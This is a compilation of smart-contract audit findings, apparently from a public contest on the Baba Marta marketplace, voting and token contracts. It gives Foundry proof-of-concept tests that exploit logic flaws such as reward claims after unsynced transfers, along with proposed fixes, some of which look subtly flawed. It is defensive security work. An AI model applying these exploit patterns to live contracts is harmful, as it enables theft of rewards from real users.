MartenitsaMarketplace::getListing reverting due to token bought leads to winner of MartenitsaVoting never receiving their HealthToken rewardSubmitted by 0xE79e, ironside, shikhar229169, kostov, CodexBugmeNot, MrCrowNFT, 0x0bserver, Nocturnus, paprikrumplikas. Selected submission by: shikhar229169.
https://github.com/Cyfrin/2024-04-Baba-Marta/blob/main/src/MartenitsaVoting.sol#L70
The MartenitsaMarketplace::getListing reverts in case the token is not for sale, therefore the martenitsa token which was on sale earlier when bought will get unlisted and getListing function will revert.
In MartenitsaVoting contract when the voting period is over, the winner is announced by owner, but if the token is unlisted from sale on the marketplace when a buyer buys it, the getListing function will revert and as a result of which the winner can never be announced and will not receive their HealthToken reward.
The vulnerability is present in the MartenitsaVoting contract where it uses MartenitsaMarketplace::getListing function to get the address of producer associated with the winning martenitsa token id, but getListing function reverting upon the token getting unlisted when one buys it will lead to winner not getting their HealthToken reward and there will no winner announced as announceWinner function will revert due to revert from MartenitsaMarketplace.
function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
uint256 winnerTokenId;
uint256 maxVotes = 0;
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
winnerTokenId = _tokenIds[i];
}
}
@> list = _martenitsaMarketplace.getListing(winnerTokenId);
_healthToken.distributeHealthToken(list.seller, 1);
emit WinnerAnnounced(winnerTokenId, list.seller);
}
Add the test in the file: test/MartenitsaVoting.t.sol
Run the test:
forge test --mt test_WinnerTokenBeingBought_LeadsTo_RevertInAnnounceWinner
function test_WinnerTokenBeingBought_LeadsTo_RevertInAnnounceWinner() public {
// Martenitsa created and listed
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 0);
marketplace.listMartenitsaForSale(0, 1 wei);
vm.stopPrank();
// voting started by owner
voting.startVoting();
// bob votes for token 0
vm.prank(bob);
voting.voteForMartenitsa(0);
// voting period ends
vm.warp(block.timestamp + voting.duration());
// bob buys the token 0
vm.prank(bob);
marketplace.buyMartenitsa{value: 1 wei}(0);
// owner tries to announce winner
vm.expectRevert("Token is not listed for sale");
voting.announceWinner();
}
Manual Review, Foundry Unit Test
When a token receives their first vote, store the seller address in the voting contract.
diff --git a/src/MartenitsaVoting.sol b/src/MartenitsaVoting.sol
index 992f49e..93a1f27 100644
--- a/src/MartenitsaVoting.sol
+++ b/src/MartenitsaVoting.sol
@@ -20,6 +20,8 @@ contract MartenitsaVoting is Ownable {
//mapping user address -> if this address is already voted
mapping(address => bool) public hasVoted;
+ mapping(uint256 tokenId => address candidate) public tokenIdToCandidate;
+
event WinnerAnnounced(uint256 indexed winnerTokenId, address indexed winner);
event Voting(uint256 indexed startTime, uint256 indexed duration);
@@ -46,6 +48,10 @@ contract MartenitsaVoting is Ownable {
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
+ if (tokenIdToCandidate[tokenId] == address(0)) {
+ tokenIdToCandidate[tokenId] = list.seller;
+ }
+
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
_tokenIds.push(tokenId);
@@ -67,8 +73,7 @@ contract MartenitsaVoting is Ownable {
}
}
- list = _martenitsaMarketplace.getListing(winnerTokenId);
- _healthToken.distributeHealthToken(list.seller, 1);
+ _healthToken.distributeHealthToken(tokenIdToCandidate[winnerTokenId], 1);
emit WinnerAnnounced(winnerTokenId, list.seller);
}
Submitted by jenniferSun, 0xE79e, Vesper, Pelz, 0xShiki, Aizen, mahivasisth, paprikrumplikas, Josh4324, kostov, shikhar229169, naman1729, n0kto, CodexBugmeNot, 0x0bserver. Selected submission by: Pelz.
https://github.com/Cyfrin/2024-04-Baba-Marta/blob/main/src/MartenitsaVoting.sol#L57-L74
The announceWinner function in the MartenitsaVoting.sol contract does not handle tie scenarios properly. In cases where multiple tokens receive the same maximum number of votes, only the first token encountered is announced as the winner, neglecting other tokens with the same vote count.
The vulnerability lies in the logic of the announceWinner function, which does not handle tie scenarios properly. In cases where multiple tokens receive the same maximum number of votes, only the first token encountered is announced as the winner, neglecting other tokens with the same vote count.
Proof of Concept (POC) to be added to MartenitsaVoting.t.sol:
function testVoteForMartenitsaTwice() public listMartenitsa {
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet2");
marketplace.listMartenitsaForSale(1, 1 wei);
vm.stopPrank();
vm.prank(address(uint160(1)));
voting.voteForMartenitsa(0);
vm.prank(address(uint160(2)));
voting.voteForMartenitsa(1);
assert(voting.voteCounts(0) == 1);
assert(voting.voteCounts(1) == 1);
}
function testAnnounceWinnerWrongly() public {
testVoteForMartenitsaTwice();
vm.warp(block.timestamp + 1 days + 1);
vm.recordLogs();
voting.announceWinner();
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == chasy);
}
This vulnerability can lead to incorrect determination of winners in tie scenarios, resulting in unfair outcomes and potentially undermining the integrity and credibility of the voting process. It may also impact user trust in the platform and the reliability of voting results.
manual code review.
To address this vulnerability and ensure fair determination of winners in tie scenarios, it is recommended to modify the announceWinner function to handle tie situations appropriately. Consider implementing logic to identify and announce all tied tokens as winners if they share the maximum vote count.
Example:
function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
uint256 maxVotes = 0;
address[] memory winners;
// Find the maximum number of votes
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
}
}
// Identify all tokens with the maximum vote count as winners
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] == maxVotes) {
winners.push(_tokenIds[i]);
}
}
// Distribute rewards to all winners
for (uint256 i = 0; i < winners.length; i++) {
list = _martenitsaMarketplace.getListing(winners[i]);
_healthToken.distributeHealthToken(list.seller, 1);
emit WinnerAnnounced(winners[i], list.seller);
}
}
Submitted by jenniferSun, pacelliv, robertodf99, 0xShiki, paprikrumplikas, Josh4324, 4rdiii, shikhar229169, n0kto, elbarunitech, Louis, 0x0bserver, 4th05, ferrabled. Selected submission by: robertodf99.
One of the functionalitites of the Baba Marta protocol is to make presents to friends, for this reason the function MartenitsaMarketplace::makePresent is included. However, the contract MartenitsaToken fails to override the function transferFrom from the imported dependencies. This allows users to transfer martenitsa tokens without their balances in the mapping MartenitsaToken::countMartenitsaTokensOwner being updated.
Users can decide to transfer martenitsa tokens using MartenitsaToken::transferFrom. While the mapping MartenitsaToken::countMartenitsaTokensOwner remains unchanged, the new address will be set as the owner in the inherited mapping from the dependency MartenitsaToken::_owners, leading to incorrect information being stored which can result in unintended functionalities.
Incorrect information will be stored in the variable MartenitsaToken::countMartenitsaTokensOwner, this can lead to situations such as the following:
bob acquires three items and transfers one token via MartenitsaToken::transferFrom. While now he is registered as the owner of two tokens and the minimum amount to claim a health token is three, he can still do it with one less.
See PoC below.Place this in MartenitsaToken.t.sol.
function test_BobClaimsHealthTokenWith2Martenitsas()
public
eligibleForReward
{
vm.startPrank(bob);
martenitsaToken.transferFrom(bob, chasy, 2);
marketplace.collectReward();
assertEq(healthToken.balanceOf(bob), 10 ** 18);
}
bob sending a token to chasy via MartenitsaToken::transferFrom, if chasy is just in possession of this token and tries to make a present to jack. The transaction will throw an arithmetic overflow error since the balance in MartenitsaToken::countMartenitsaTokensOwner is 0 and therefore it will result in -1 tokens owned by chasy after the transfer. See PoC below.Place this in MartenitsaToken.t.sol.
import {Test, console, stdError} from "forge-std/Test.sol";
...
function test_makePresentReverts() public hasMartenitsa {
vm.prank(bob);
martenitsaToken.transferFrom(bob, chasy, 0);
vm.prank(chasy);
vm.expectRevert(stdError.arithmeticError);
marketplace.makePresent(jack, 0);
}
Foundry and manual review.
Override the function transferFrom so that it reverts upon invocation. This way users have to go through MartenitsaMarketplace::makePresent to transfer their items. See example below:
...
error MartenitsaToken__CannotDirectlyTransfer();
...
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
revert MartenitsaToken__CannotDirectlyTransfer();
}
...
MartenitsaMarketplace::listMartenitsaForSale allows owners to list their NFTs without providing approval for the marketplace to handle the tokenSubmitted by 0xm00k, paprikrumplikas, shikhar229169, Louis, richuak. Selected submission by: paprikrumplikas.
MartenitsaMarketplace::listMartenitsaForSale lets Martenitsa NFT owners to list their NFTs on the marketplace, but it does not require the existance of owner approval for the marketplace to actually handle the NFT. If the approval is not made, the NFT will be impossible to buy despite the apparent listing.
MartenitsaMarketplace::listMartenitsaForSale is supposed to allow users to list their Martenitsa NFTs for sale on the marketplace. After successful execution of the call to listMartenitsaForSale, the NFT appears as listed and as such, is supposed to be able to be bought by another user who calls MartenitsaMarketplace::buyMartenitsa. However, this is not always the case.
A preprequisite for successfully purchasing a listed NFT is that the seller approves the marketplace to move its listed token when it is purchased. Since MartenitsaMarketplace::listMartenitsaForSale does not check the existence of such an approval, unapproved NFTs can appear as listed but cannot be actually bought.
function testNftListedWithoutApprovalCantBeBought() public {
address user = makeAddr("user");
uint256 price = 1 ether;
// give user ETH
vm.deal(user, 5 ether);
// jack mints and NFT and then successfully lists it without approval
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
assert(martenitsaToken.ownerOf(0) == jack);
assert(martenitsaToken.isProducer(jack) == true);
marketplace.listMartenitsaForSale(0, price);
assert(marketplace.getListing(0).forSale == true);
vm.stopPrank();
// @note
bytes memory expectedRevertReason =
abi.encodeWithSignature("ERC721InsufficientApproval(address,uint256)", address(marketplace), 0);
// user sees the listing, attempts to buy the NFT but the trx will fail
// because Jack did not do the approval
vm.expectRevert(expectedRevertReason);
vm.prank(user);
marketplace.buyMartenitsa{value: 1 ether}(0);
}
NFTs that are listed by their owners without them providing their approval for the marketplace to move the listed token during a purchase attempt will appear as listed but will not be able to be actually bought. The implications are as follows:
-- If the owner provides the approval this time, the NFT might sell at a lower price than it actually would had.
-- If the owner does not provide the approval this time either, the NFT will not be sold, so the owner might keep lowering the price further, eventually tanking the floor price of the whole collection.
-- mislead other users with the apparent listing
-- apparently tank the FP of the collection
-- to acquire and keep eligibility for getting votes on the NFT from users calling MartenitsaVoting::voteForMartenitsa, without a real intention to sell it. In this scenario the final goal is of course to win the vote and get the rewards for the win.
Manual review, Foundry.
Check whether the approval for the marketplace to manage to token being listed actually exists. Make the following modifications in MartenitsaMarketplace:
function listMartenitsaForSale(uint256 tokenId, uint256 price) external {
require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token");
+ require(martenitsaToken.getApproved(tokenId) == address(this), "Provide approval for the marketplace to manage your token");
require(martenitsaToken.isProducer(msg.sender), "You are not a producer!");
require(price > 0, "Price must be greater than zero");
Listing memory newListing = Listing({
tokenId: tokenId,
seller: msg.sender,
price: price,
design: martenitsaToken.getDesign(tokenId),
forSale: true
});
tokenIdToListing[tokenId] = newListing;
emit MartenitsaListed(tokenId, msg.sender, price);
}
Submitted by kostov, n0kto, 0x0bserver, Nocturnus. Selected submission by: kostov.
HealthTokens can be transferred between users which breaks invariant.
As stated there should be only two ways to receive HealthToken:
These should be the two eligible ways to receive a HealthToken in this protocol.
setMarketAndVotingAddress: Allows the owner to set the addresses of the MartenitsaMarketplace and MartenitsaVoting contracts.
distributeHealthToken: Allows the marketplace and voting contracts to distribute HealthTokens as rewards to specified addresses.
However, the transfer and transferFrom allow another way to receive HealthTokens.
paste this test and run it in MartenitsaMarketPlace.t.sol
function testCanTransferHealthTokens() public {
address pan = makeAddr("pan");
//Mint HealthTokens to Bob
vm.startPrank(bob);
uint256 i = 0;
uint256 martenitsaToHealthTokenRatio = 3;
uint256 amountOfFreeMartenitsaTokens = 99;
for (i; i < amountOfFreeMartenitsaTokens; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(address(bob), "add");
}
marketplace.collectReward();
uint256 bobHealthTokensBalance = healthToken.balanceOf(address(bob));
uint256 expectedBobHealthTokensBalance = (amountOfFreeMartenitsaTokens / martenitsaToHealthTokenRatio) * 1e18;
assert(bobHealthTokensBalance == expectedBobHealthTokensBalance);
healthToken.transfer(pan, bobHealthTokensBalance);
vm.stopPrank();
console.log("Pan HealthTokens balance ", healthToken.balanceOf(pan));
assert(healthToken.balanceOf(pan) == bobHealthTokensBalance);
}
Manual Review
Unit tests
Override the default ERC20::transfer and ERC20::transferFrom
MartenitsaVoting::announceWinner function does not check if there are no votes, causing a participant to become a winner and receive a HealthTokenSubmitted by Vasquez, 0xE79e, 0xShiki, shikhar229169, f3d0ss, azanux, 0x0bserver. Selected submission by: 0xShiki.
Users can vote for the best MartenitsaToken NFT, which is listed for sale on the MartenitsaMarketplace. The MartenitsaVoting::announceWinner function is used to calculate the winner of the voting event. The winner is the NFT with the most votes. However, the MartenitsaVoting::announceWinner function does not check if there are no votes, which a participant can receive a HealthToken even if there are no votes for the winner's NFT, and become the winner.
A participant can become a winner of the event and receive a HealthToken even if there are no votes for the winner's NFT, leading to unfair results in voting events.
Manual Review
Add this test to MartenitsaVoting.t.sol:
function testIfThereAreNoVotes() public {
// Chasy lists a martenitsa for sale
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(0, 1 wei);
vm.stopPrank();
// Jack lists a martenitsa for sale
vm.startPrank(jack);
martenitsaToken.createMartenitsa("bracelet");
marketplace.listMartenitsaForSale(1, 1 wei);
vm.stopPrank();
// Announcing winner
vm.warp(block.timestamp + 1 days + 1);
vm.recordLogs();
voting.announceWinner();
console.log("Chasy's Health Token balance: ", healthToken.balanceOf(chasy));
console.log("Jack's Health Token balance: ", healthToken.balanceOf(jack));
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(winner == chasy);
}
As we can see from the logs of this test the HealthToken balance of Chasy is 1. Jack's HealthToken balance is 0, because he is not the winner.
Consider adding a require statement to check if maxVotes, which is declared in Martenitsa::announceWinner function, is greater than 0:
function announceWinner() external onlyOwner {
require(block.timestamp >= startVoteTime + duration, "The voting is active");
uint256 winnerTokenId;
uint256 maxVotes = 0;
for (uint256 i = 0; i < _tokenIds.length; i++) {
if (voteCounts[_tokenIds[i]] > maxVotes) {
maxVotes = voteCounts[_tokenIds[i]];
winnerTokenId = _tokenIds[i];
}
}
+ require(maxVotes > 0, "There are no votes");
list = _martenitsaMarketplace.getListing(winnerTokenId);
_healthToken.distributeHealthToken(list.seller, 1);
emit WinnerAnnounced(winnerTokenId, list.seller);
}
Submitted by Keyword, 0xE79e, Pelz, lian886, paprikrumplikas, 4rdiii, shikhar229169, azanux, Coffee, Nocturnus. Selected submission by: Pelz.
https://github.com/Cyfrin/2024-04-Baba-Marta/blob/main/src/MartenitsaMarketplace.sol#L90-L95
The makePresent function in the MartenitsaMarketplace.sol contract allows token owners to gift tokens to others without checking if the token is already listed for sale. This oversight can disrupt the logic of the codebase and prevent the purchase of listed tokens.
The makePresent function permits token owners to transfer tokens to others without verifying if the token is already listed for sale in the marketplace. Consequently, an owner can inadvertently gift a token that is listed, which could disrupt the marketplace's functionality and prevent potential buyers from purchasing the listed token.
Proof of the vulnerability is demonstrated in the following test case: to be added to the : MartenitsaMarketplace.t.sol file.
function testMakePresentOfListedItemsAndBuyFails() public {
// List token for sale
testListMartenitsaForSale();
// Gift token
vm.startPrank(chasy);
martenitsaToken.approve(address(marketplace), 0);
marketplace.makePresent(jack, 0);
vm.stopPrank();
// Assertions to verify the outcome of the gift transaction
assert(martenitsaToken.ownerOf(0) == jack);
assert(martenitsaToken.getCountMartenitsaTokensOwner(bob) == 0);
assert(martenitsaToken.getCountMartenitsaTokensOwner(jack) == 1);
// Check if listing still exists
marketplace.getListing(0);
// Attempt to buy the token and expect failure
vm.expectRevert();
vm.prank(bob);
marketplace.buyMartenitsa{value: 1 wei}(0);
}
This test case demonstrates that the makePresent function successfully transfers a listed token (tokenId = 0) to another address (jack). Subsequently, an attempt to purchase the token (tokenId = 0) fails, indicating that the token remains listed for sale despite being gifted.
This vulnerability could lead to disruption in the marketplace's functionality, as listed tokens could be inadvertently gifted, rendering them unavailable for purchase. As a result, buyers would be unable to acquire tokens that were intended for sale, potentially leading to frustration and loss of trust in the marketplace.
manual code review.
To mitigate this vulnerability, it is recommended to implement a check to verify whether the token is listed for sale before allowing it to be gifted. The following fix is proposed:
Check Listing Status: Modify the makePresent function to include a check to verify if the token is listed for sale before allowing it to be transferred as a gift. If the token is listed, the function should revert to prevent unintended disruption of the marketplace's logic.
Example:
function makePresent(address presentReceiver, uint256 tokenId) external {
require(msg.sender == martenitsaToken.ownerOf(tokenId), "You do not own this token");
require(!tokenIdToListing[tokenId].forSale, "Token is listed for sale");
// Rest of the function's logic...
}
MartenitsaToken::createMartenitsa design @param is not properly checked, producer can create a martenitsa token with an empty string as design or with design without any meaningSubmitted by Vesper, CodexBugmeNot. Selected submission by: Vesper.
In MartenitsaToken::createMartenitsa design @param is not properly checked, so a producer can create a martenitsa token with a whitespace as design (It holds a specific ASCII value which is 32) or with a design without any meaning.
The require control structure (L37 of MartenitsaToken.sol) does not correctly control the "Design" input parameter.
function testCreateMartenitsaCalledWithDesignEqualZero() public {
vm.prank(jack);
vm.expectRevert();
martenitsaToken.createMartenitsa(" ");
}
require(bytes(design).length > 0, "Design cannot be empty");
Martenitsa token can be created with an empty string as design or with a design without any meaning.
Manuel review
Create a custom error based on your check DesignToBytes == 0 and DesignToBytes is checks against the hexadecimal values of common whitespace characters:
So whitespace and horizontal tab won't be accepted as design character but you can add more design rules in the if statement if you decide to authorize only some specific design.
// Custom errors
error MartenitsaToken__DesignLengthIsEmpty();
error MartenistsaToken__IsAWhitespace();
/**
* @notice Function to create a new martenitsa. Only producers can call the function.
* @param design The type (bracelet, necklace, Pizho and Penda and other) of martenitsa.
*/
function createMartenitsa(string memory design) external {
require(isProducer[msg.sender], "You are not a producer!");
bytes memory designToBytes = bytes(design);
if (designToBytes.length == 0) {
revert MartenitsaToken__DesignLengthIsEmpty(); // Consider an empty string as not only whitespace
}
for (uint256 i = 0; i < designToBytes.length; i++) {
if (designToBytes[i] == 0x20 || designToBytes[i] == 0x5f) {
revert MartenistsaToken__IsAWhitespace();
}
}
uint256 tokenId = _nextTokenId++;
tokenDesigns[tokenId] = design;
countMartenitsaTokensOwner[msg.sender] += 1;
emit Created(msg.sender, tokenId, design);
_safeMint(msg.sender, tokenId);
}
Submitted by kostov, Josh4324, n0kto, mirkopezo, Zkillua, 0x0bserver, 4th05, blackSquirrel. Selected submission by: Josh4324.
https://github.com/Cyfrin/2024-04-Baba-Marta/blob/main/src/MartenitsaEvent.sol#L60
When users join a special event, they are automatically assigned the producer role, which is recorded in the isProducer mapping and the producer array. However, when the stopEvent function is called to end the event, only the isProducer mapping is reset, while the producer array is not updated accordingly.
The vulnerability lies in the incomplete removal of producer roles when the stopEvent function is executed. The function correctly resets the isProducer mapping, which tracks whether a user is a producer or not. However, it fails to remove the user from the producer array, which maintains a list of all producers.
This inconsistency can lead to several issues:
Stale Data: The producer array will contain outdated information, as it will still include users who are no longer producers after the event has ended.
Incorrect Producer Count: The length of the producer array will not accurately reflect the current number of active producers, as it will include users who have been removed from the isProducer mapping..
Potential Privilege Escalation: If the producer array is used for any privileged operations or access control, users who are no longer producers according to the isProducer mapping may still be able to perform actions reserved for producers.
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
//@audit producer role not totally removed, they are still in the array
for (uint256 i = 0; i < participants.length; i++) {
isProducer[participants[i]] = false;
}
}
The impact of this vulnerability depends on how the producer array is used within the smart contract and any associated systems. Potential consequences include:
The joinEvent calls the add _addProducer function
function joinEvent() external {
require(block.timestamp < eventEndTime, "Event has ended");
require(!_participants[msg.sender], "You have already joined the event");
require(!isProducer[msg.sender], "Producers are not allowed to participate");
require(_healthToken.balanceOf(msg.sender) >= healthTokenRequirement, "Insufficient HealthToken balance");
_participants[msg.sender] = true;
participants.push(msg.sender);
emit ParticipantJoined(msg.sender);
(bool success) = _healthToken.transferFrom(msg.sender, address(this), healthTokenRequirement);
require(success, "The transfer is not successful");
_addProducer(msg.sender);
}
This function performs two actions, add user to the isProducer mapping and add user to the array
function _addProducer(address _producer) internal {
isProducer[_producer] = true;
producers.push(_producer);
console.log(producers[0]);
// @audit no event for adding producer
}
// The stopEvent only reset the IsProducer mapping
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
//@audit producer role not totally removed, they are still in the array
for (uint256 i = 0; i < participants.length; i++) {
isProducer[participants[i]] = false;
}
}
NB - The _addProducer contains a bug that is mentioned in another issue
Manual Review, Foundry
All users in the special event should be removed from the producers array in the stopEvent function.